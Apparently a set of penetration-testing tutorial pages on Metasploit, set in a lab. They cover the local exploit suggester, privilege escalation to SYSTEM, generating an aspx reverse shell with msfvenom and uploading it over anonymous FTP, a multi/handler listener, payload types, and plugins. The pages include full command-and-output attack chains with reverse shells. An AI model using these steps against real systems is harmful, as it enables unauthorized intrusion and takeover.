SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1 SESSION => 1 msf6 post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.15 - Collecting local exploits for x86/windows... [*] 10.10.10.15 - 34 exploit checks are being tried... nil versions are discouraged and will be deprecated in Rubygems 4 [+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed ``` Running the recon module presents us with a multitude of options. Going through each separate one, we land on the ms15\_051\_client\_copy\_image entry, which proves to be successful. This exploit lands us directly within a root shell, giving us total control over the target system. ### MSF - Privilege Escalation ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms15_051_client_copy_image [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/local/ms15_051_client_copy_image) > show options Module options (exploit/windows/local/ms15_051_client_copy_image): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 46.101.239.181 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows x86 msf6 exploit(windows/local/ms15_051_client_copy_image) > set session 1 session => 1 msf6 exploit(windows/local/ms15_051_client_copy_image) > set LHOST tun0 LHOST => tun0 msf6 exploit(windows/local/ms15_051_client_copy_image) > run [*] Started reverse TCP handler on 10.10.14.26:4444 [*] Launching notepad to host the exploit... [+] Process 844 launched. [*] Reflectively injecting the exploit DLL into 844... [*] Injecting exploit into 844... [*] Exploit injected. Injecting payload into 844... [*] Payload injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (175174 bytes) to 10.10.10.15 [*] Meterpreter session 2 opened (10.10.14.26:4444 -> 10.10.10.15:1031) at 2020-09-03 10:35:01 +0000 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` # MSFVenom Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/msfvenom Payload generation, encoding, and real-world deployment workflows. ## Introduction to MSFVenom MSFVenom is the successor of MSFPayload and MSFEncode, two stand-alone scripts that used to work in conjunction with msfconsole to provide users with highly customizable and hard-to-detect payloads for their exploits. MSFVenom is the result of the marriage between these two tools. Before this tool, we had to pipe (|) the result from MSFPayload, which was used to generate shellcode for a specific processor architecture and OS release, into MSFEncode, which contained multiple encoding schemes used both for removing bad characters from shellcode (this could sometimes cause instability during the runtime), and for evading older Anti-Virus (AV) and endpoint Intrusion Prevention / Intrusion Detection (IPS/IDS) software. Nowadays, the two combined tools offer penetration testers a method to quickly craft payloads for different target host architectures and releases while having the possibility to 'clean up' their shellcode so that it does not run into any errors when deployed. The AV evasion part is much more complicated today, as signature-only-based analysis of malicious files is a thing of the past. Heuristic analysis, machine learning, and deep packet inspection make it much harder for a payload to run through several subsequent iterations of an encoding scheme to evade any good AV software. As seen in the Payloads module, submitting a simple payload with the same configuration detailed above yielded a hit rate of 52/65. In terms of Malware Analysts worldwide, that is a Bingo. (It is still unproven that Malware Analysts worldwide actually say "that is a Bingo".) ## Creating Our Payloads Let's suppose we have found an open FTP port that either had weak credentials or was open to Anonymous login by accident. Now, suppose that the FTP server itself is linked to a web service running on port tcp/80 of the same machine and that all of the files found in the FTP root directory can be viewed in the web-service's /uploads directory. Let's also suppose that the web service does not have any checks for what we are allowed to run on it as a client. Suppose we are hypothetically allowed to call anything we want from the web service. In that case, we can upload a PHP shell directly through the FTP server and access it from the web, triggering the payload and allowing us to receive a reverse TCP connection from the victim machine. ### FTP Anonymous Access ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ftp 10.10.10.5 Connected to 10.10.10.5. 220 Microsoft FTP Service Name (10.10.10.5:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: ****** 230 User logged in. Remote system type is Windows_NT. ftp> ls 200 PORT command successful. 125 Data connection already open; Transfer starting. 03-18-17 02:06AM aspnet_client 03-17-17 05:37PM 689 iisstart.htm 03-17-17 05:37PM 184946 welcome.png 226 Transfer complete. ``` Noticing the aspnet\_client, we realize that the box will be able to run `.aspx` reverse shells. Luckily for us, msfvenom can do just that without any issue. ### Generating Payload ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of aspx file: 2819 bytes Dudji@htb[/htb]$ ls Desktop Documents Downloads my_data Postman PycharmProjects reverse_shell.aspx Templates ``` Subsequently, after verifying the successful creation of the reverse\_shell.aspx reverse shell, we need to upload it to the FTP service using the put command as follows: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} ftp > put reverse_shell.aspx local: reverse_shell.aspx remote: reverse_shell.aspx 229 Entering Extended Passive Mode (|||47832|) 150 Ok to send data. 100% |*********************| 2819 512.00 KiB/s 00:00 ETA 226 Transfer complete. 2819 bytes sent in 00:00 (489.12 KiB/s) ``` Now, we only need to navigate to `http://10.10.10.5/reverse_shell.aspx`, and it will trigger the `.aspx` payload. Before we do that, however, we should start a listener on msfconsole so that the reverse connection request gets caught inside it. ### MSF - Setting Up Multi/Handler ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfconsole -q msf6 > use multi/handler msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Exploit target: Id Name -- ---- 0 Wildcard Target msf6 exploit(multi/handler) > set LHOST 10.10.14.5 LHOST => 10.10.14.5 msf6 exploit(multi/handler) > set LPORT 1337 LPORT => 1337 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.5:1337 ``` ## Executing the Payload Now we can trigger the `.aspx` payload on the web service. Doing so will load absolutely nothing visually speaking on the page, but looking back to our multi/handler module, we would have received a connection. We should ensure that our `.aspx` file does not contain HTML, so we will only see a blank web page. However, the payload is executed in the background anyway. ### MSF - Meterpreter Shell ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} <...SNIP...> [*] Started reverse TCP handler on 10.10.14.5:1337 [*] Sending stage (176195 bytes) to 10.10.10.5 [*] Meterpreter session 1 opened (10.10.14.5:1337 -> 10.10.10.5:49157) at 2020-08-28 16:33:14 +0000 meterpreter > getuid Server username: IIS APPPOOL\Web meterpreter > [*] 10.10.10.5 - Meterpreter session 1 closed. Reason: Died ``` If the Meterpreter session dies too often, we can consider encoding it to avoid errors during runtime. We can pick any viable encoder, and it will ultimately improve our chances of success regardless. ## Local Exploit Suggester As a tip, there is a module called the Local Exploit Suggester. We will be using this module for this example, as the Meterpreter shell landed on the IIS APPPOOL\Web user, which naturally does not have many permissions. Furthermore, running the sysinfo command shows us that the system is of x86 bit architecture, giving us even more reason to trust the Local Exploit Suggester. ### MSF - Searching for Local Exploit Suggester ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > search local exploit suggester <...SNIP...> 2375 post/multi/manage/screenshare normal No Multi Manage the screen of the target meterpreter session 2376 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester 2377 post/osx/gather/apfs_encrypted_volume_passwd 2018-03-21 normal Yes Mac OS X APFS Encrypted Volume Password Disclosure msf6 exploit(multi/handler) > use 2376 msf6 post(multi/recon/local_exploit_suggester) > show options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits msf6 post(multi/recon/local_exploit_suggester) > set session 2 session => 2 msf6 post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.5 - Collecting local exploits for x86/windows... [*] 10.10.10.5 - 31 exploit checks are being tried... [+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed ``` Having these results in front of us, we can easily pick one of them to test out. If the one we chose is not valid after all, move on to the next. Not all checks are 100% accurate, and not all variables are the same. Going down the list, bypassauc\_eventvwr fails due to the IIS user not being a part of the administrator's group, which is the default and expected. The second option, ms10\_015\_kitrap0d, does the trick. ### MSF - Local Privilege Escalation ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(multi/handler) > search kitrap0d Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/ms10_015_kitrap0d 2010-01-19 great Yes Windows SYSTEM Escalation via KiTrap0D msf6 exploit(multi/handler) > use 0 msf6 exploit(windows/local/ms10_015_kitrap0d) > show options Module options (exploit/windows/local/ms10_015_kitrap0d): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION 2 yes The session to run this module on. Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST tun0 yes The listen address (an interface may be specified) LPORT 1338 yes The listen port Exploit target: Id Name -- ---- 0 Windows 2K SP4 - Windows 7 (x86) msf6 exploit(windows/local/ms10_015_kitrap0d) > set LPORT 1338 LPORT => 1338 msf6 exploit(windows/local/ms10_015_kitrap0d) > set SESSION 3 SESSION => 3 msf6 exploit(windows/local/ms10_015_kitrap0d) > run [*] Started reverse TCP handler on 10.10.14.5:1338 [*] Launching notepad to host the exploit... [+] Process 3552 launched. [*] Reflectively injecting the exploit DLL into 3552... [*] Injecting exploit into 3552 ... [*] Exploit injected. Injecting payload into 3552... [*] Payload injected. Executing exploit... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (176195 bytes) to 10.10.10.5 [*] Meterpreter session 4 opened (10.10.14.5:1338 -> 10.10.10.5:49162) at 2020-08-28 17:15:56 +0000 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` # Metasploit Payloads Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/payloads Payload families, staged vs single payloads, and payload selection. ## Payloads A payload in Metasploit is the module that works with an exploit to execute post-exploitation code on the target, often resulting in shell/session access. * The exploit bypasses the vulnerable service logic. * The payload runs on the target and establishes/maintains access. Metasploit payload modules are grouped into three types: 1. Singles 2. Stagers 3. Stages Whether a payload is staged is indicated by `/` in the payload name. Examples: * `windows/shell_bind_tcp` -> single payload (no staged split) * `windows/shell/bind_tcp` -> staged payload (`bind_tcp` stager + `shell` stage) ### Singles Single payloads are self-contained. They include all shellcode needed for the task in one object. * Usually more stable because everything is inline. * Can become too large for some exploit constraints. * Execute immediately once delivered. Typical outcomes include launching a process, executing a command, or returning a shell directly. ### Stagers Stagers are compact bootstrap payloads that establish a communication channel from victim to attacker, then prepare delivery of a larger stage. * Designed to be small and reliable. * Commonly initialize reverse or bind channels. * Metasploit can auto-select suitable stagers per scenario. #### Windows NX vs NO-NX Stagers * Reliability concerns exist on NX/DEP-protected systems. * NX-compatible stagers are larger (for example, `VirtualAlloc`-style memory handling). * Current defaults generally favor NX and newer Windows compatibility. ### Stages Stages are the larger payload components fetched after stager execution. They provide advanced capabilities such as Meterpreter and VNC injection. Operationally: * A single `recv()` may fail for large payloads. * The initial stager can receive an intermediate downloader. * The intermediate component completes full stage download into memory. ## Staged Payloads A staged payload breaks exploitation into chained functional parts to reduce initial size and improve delivery reliability. * `Stage0`: initial shellcode (for example `reverse_tcp`, `reverse_https`, `bind_tcp`) * `Stage1`: larger functional component delivered after channel setup ### MSF: Staged Payloads ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > show payloads 535 windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager 536 windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support 537 windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager 538 windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager 539 windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm) 540 windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64) 541 windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 542 windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 543 windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager 544 windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager 545 windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 546 windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64) 547 windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp) 548 windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp) ``` Reverse connections are often effective because they leverage outbound traffic paths that are commonly more permissive than inbound filtering. ## Searching for Payloads To choose a payload, start with the intended objective on the target. For example, Meterpreter payloads are commonly selected for flexible post-exploitation workflows. ### MSF: List Payloads ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > show payloads Payloads ======== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 aix/ppc/shell_bind_tcp manual No AIX Command Shell, Bind TCP Inline 1 aix/ppc/shell_find_port manual No AIX Command Shell, Find Port Inline 2 aix/ppc/shell_interact manual No AIX execve Shell for inetd 3 aix/ppc/shell_reverse_tcp manual No AIX Command Shell, Reverse TCP Inline 4 android/meterpreter/reverse_http manual No Android Meterpreter, Android Reverse HTTP Stager 5 android/meterpreter/reverse_https manual No Android Meterpreter, Android Reverse HTTPS Stager 6 android/meterpreter/reverse_tcp manual No Android Meterpreter, Android Reverse TCP Stager 7 android/meterpreter_reverse_http manual No Android Meterpreter Shell, Reverse HTTP Inline 8 android/meterpreter_reverse_https manual No Android Meterpreter Shell, Reverse HTTPS Inline 9 android/meterpreter_reverse_tcp manual No Android Meterpreter Shell, Reverse TCP Inline 10 android/shell/reverse_http manual No Command Shell, Android Reverse HTTP Stager 11 android/shell/reverse_https manual No Command Shell, Android Reverse HTTPS Stager 12 android/shell/reverse_tcp manual No Command Shell, Android Reverse TCP Stager 13 apple_ios/aarch64/meterpreter_reverse_http manual No Apple_iOS Meterpreter, Reverse HTTP Inline 557 windows/x64/vncinject/reverse_tcp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager 558 windows/x64/vncinject/reverse_tcp_rc4 manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 559 windows/x64/vncinject/reverse_tcp_uuid manual No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64) 560 windows/x64/vncinject/reverse_winhttp manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp) 561 windows/x64/vncinject/reverse_winhttps manual No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp) ``` ### Windows x64 Meterpreter Block (Example) ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} 515 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager 516 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support 517 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager 518 windows/x64/meterpreter/bind_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager 519 windows/x64/meterpreter/bind_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm) 520 windows/x64/meterpreter/bind_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64) 521 windows/x64/meterpreter/reverse_http manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 522 windows/x64/meterpreter/reverse_https manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 523 windows/x64/meterpreter/reverse_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager 524 windows/x64/meterpreter/reverse_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager 525 windows/x64/meterpreter/reverse_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 526 windows/x64/meterpreter/reverse_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64) 527 windows/x64/meterpreter/reverse_winhttp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp) 528 windows/x64/meterpreter/reverse_winhttps manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp) 529 windows/x64/meterpreter_bind_named_pipe manual No Windows Meterpreter Shell, Bind Named Pipe Inline (x64) 530 windows/x64/meterpreter_bind_tcp manual No Windows Meterpreter Shell, Bind TCP Inline (x64) 531 windows/x64/meterpreter_reverse_http manual No Windows Meterpreter Shell, Reverse HTTP Inline (x64) 532 windows/x64/meterpreter_reverse_https manual No Windows Meterpreter Shell, Reverse HTTPS Inline (x64) 533 windows/x64/meterpreter_reverse_ipv6_tcp manual No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64) 534 windows/x64/meterpreter_reverse_tcp manual No Windows Meterpreter Shell, Reverse TCP Inline x64 ``` ### MSF: Searching for Specific Payloads Use `grep` in `msfconsole` to reduce large output. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter show payloads 6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager 7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support 8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager 9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager 10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm) 11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64) 12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet) 14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager 15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager 16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64) 18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp) 19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp) msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter show payloads [*] 14 ``` Chaining filters: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads 15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager 16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64) msf6 exploit(windows/smb/ms17_010_eternalblue) > grep -c meterpreter grep reverse_tcp show payloads [*] 3 ``` ## Selecting Payloads After choosing an exploit module, set a payload by index: `set payload ` ### MSF: Select Payload ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/ms17_010_eternalblue) > show options Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs msf6 exploit(windows/smb/ms17_010_eternalblue) > grep meterpreter grep reverse_tcp show payloads 15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager 16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm) 17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64) msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 15 payload => windows/x64/meterpreter/reverse_tcp ``` ## Payload Types The table below lists common payload families for Windows targets. | Payload | Description | | --------------------------------- | --------------------------------------------- | | `generic/custom` | Generic listener, multi-use | | `generic/shell_bind_tcp` | Generic listener, standard shell, bind TCP | | `generic/shell_reverse_tcp` | Generic listener, standard shell, reverse TCP | | `windows/x64/exec` | Executes an arbitrary command (Windows x64) | | `windows/x64/loadlibrary` | Loads an arbitrary x64 library path | | `windows/x64/messagebox` | Spawns a customizable MessageBox dialog | | `windows/x64/shell_reverse_tcp` | Standard shell, single payload, reverse TCP | | `windows/x64/shell/reverse_tcp` | Standard shell, staged payload, reverse TCP | | `windows/x64/shell/bind_ipv6_tcp` | Standard shell, staged payload, IPv6 bind TCP | | `windows/x64/meterpreter/$` | Meterpreter family and variants | | `windows/x64/powershell/$` | Interactive PowerShell family and variants | | `windows/x64/vncinject/$` | VNC reflective injection family and variants | Other well-known operational payload ecosystems also exist outside default Metasploit modules. Those are out of scope here. # Metasploit Plugins Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/plugins Plugin installation, usage, Nessus integration, custom plugins, and Mixins in Metasploit. ## Plugins Plugins are readily available software that has already been released by third parties and have given approval to the creators of Metasploit to integrate their software inside the framework. These can represent commercial products that have a Community Edition for free use but with limited functionality, or they can be individual projects developed by individual people. The use of plugins makes a pentester's life even easier, bringing the functionality of well-known software into the msfconsole or Metasploit Pro environments. Whereas before, we needed to cycle between different software to import and export results, setting options and parameters over and over again, now, with the use of plugins, everything is automatically documented by msfconsole into the database we are using and hosts, services and vulnerabilities are made available at-a-glance for the user. Plugins work directly with the API and can be used to manipulate the entire framework. They can be useful for automating repetitive tasks, adding new commands to the msfconsole, and extending the already powerful framework. ## Using Plugins To start using a plugin, we will need to ensure it is installed in the correct directory on our machine. Navigating to `/usr/share/metasploit-framework/plugins`, which is the default directory for every new installation of msfconsole, should show us which plugins we have to our availability: ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ls /usr/share/metasploit-framework/plugins aggregator.rb beholder.rb event_tester.rb komand.rb msfd.rb nexpose.rb request.rb session_notifier.rb sounds.rb token_adduser.rb wmap.rb alias.rb db_credcollect.rb ffautoregen.rb lab.rb msgrpc.rb openvas.rb rssfeed.rb session_tagger.rb sqlmap.rb token_hunter.rb auto_add_route.rb db_tracker.rb ips_filter.rb libnotify.rb nessus.rb pcap_log.rb sample.rb socket_logger.rb thread.rb wiki.rb ``` If the plugin is found here, we can fire it up inside msfconsole and will be met with the greeting output for that specific plugin, signaling that it was successfully loaded in and is now ready to use: ### MSF - Load Nessus ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 > load nessus [*] Nessus Bridge for Metasploit [*] Type nessus_help for a command listing [*] Successfully loaded Plugin: Nessus msf6 > nessus_help Command Help Text ------- --------- Generic Commands ----------------- ----------------- nessus_connect Connect to a Nessus server nessus_logout Logout from the Nessus server nessus_login Login into the connected Nessus server with a different username and nessus_user_del Delete a Nessus User nessus_user_passwd Change Nessus Users Password Policy Commands ----------------- ----------------- nessus_policy_list List all polciies nessus_policy_del Delete a policy ``` To start using the plugin, start issuing the commands available to us in the help menu of that specific plugin. Each cross-platform integration offers us a unique set of interactions that we can use during our assessments, so it is helpful to read up on each of these before employing them to get the most out of having them at our fingertips. ## Installing New Plugins New, more popular plugins are installed with each update of the Parrot OS distro as they are pushed out towards the public by their makers, collected in the Parrot update repo. To install new custom plugins not included in new updates of the distro, we can take the `.rb` file provided on the maker's page and place it in the folder at `/usr/share/metasploit-framework/plugins` with the proper permissions. For example, let us try installing DarkOperator's Metasploit-Plugins. Then, following the link above, we get a couple of Ruby (`.rb`) files which we can directly place in the folder mentioned above. ### Downloading MSF Plugins ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ git clone https://github.com/darkoperator/Metasploit-Plugins Dudji@htb[/htb]$ ls Metasploit-Plugins aggregator.rb ips_filter.rb pcap_log.rb sqlmap.rb alias.rb komand.rb pentest.rb thread.rb auto_add_route.rb lab.rb request.rb token_adduser.rb beholder.rb libnotify.rb rssfeed.rb token_hunter.rb db_credcollect.rb msfd.rb sample.rb twitt.rb db_tracker.rb msgrpc.rb session_notifier.rb wiki.rb event_tester.rb nessus.rb session_tagger.rb wmap.rb ffautoregen.rb nexpose.rb socket_logger.rb growl.rb openvas.rb sounds.rb ``` Here we can take the plugin `pentest.rb` as an example and copy it to `/usr/share/metasploit-framework/plugins`. ### MSF - Copying Plugin to MSF ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb ``` Afterward, launch msfconsole and check the plugin's installation by running the load command. After the plugin has been loaded, the help menu at the msfconsole is automatically extended by additional functions. ### MSF - Load Plugin ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ msfconsole -q msf6 > load pentest ___ _ _ ___ _ _ | _ \___ _ _| |_ ___ __| |_ | _ \ |_ _ __ _(_)_ _ | _/ -_) ' \ 